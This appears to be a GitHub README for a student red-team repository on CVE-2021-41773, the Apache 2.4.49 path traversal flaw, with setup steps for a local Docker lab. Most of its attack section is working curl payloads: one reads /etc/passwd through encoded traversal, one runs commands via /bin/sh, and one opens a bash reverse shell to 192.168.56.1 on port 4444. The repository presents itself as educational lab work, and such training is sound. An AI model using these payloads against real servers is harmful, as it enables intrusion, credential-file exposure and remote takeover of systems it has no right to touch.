sobanahmed6061/cve-2021-41773-redteamApache 2.4.49 Path Traversal RCE
ITSOLERA Cybersecurity Department — Red Team Task #3
Team: Offensive Team Zeta
Date: 18th March 2026
This repository is for educational purposes only.
All testing was performed in an isolated local Docker lab.
Never use against live, production, or third-party systems.
| Field | Detail |
|---|
| CVE ID | CVE-2021-41773 |
| CVSS | 9.8 CRITICAL |
| Affected | Apache HTTP Server 2.4.49 ONLY |
| Type | Path Traversal + Remote Code Execution |
| Fixed In | Apache 2.4.51 |
| File | Description |
|---|---|
poc_41773.py | Python PoC exploit script with Team Zeta banner |
docker-compose.yml | Vulnerable lab environment setup |
offensive_zeta_shell.txt | Live session log — proof of exploitation |
screenshots/ | Evidence screenshots |
Offensive_Team_Zeta_FINAL_Report.pdf | Full exploitation report |
# Pull the vulnerable image
sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
# Start the lab
docker-compose up -d
# Verify Apache 2.4.49 is running
curl -I http://localhost:8080/
# Must show: Server: Apache/2.4.49
# File read via path traversal
curl --path-as-is \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# Remote code execution
curl --path-as-is \
-d 'echo Content-Type: text/plain; echo; id' \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
# Reverse shell (replace IP with your machine IP)
curl --path-as-is \
-d "echo Content-Type: text/plain; echo; bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"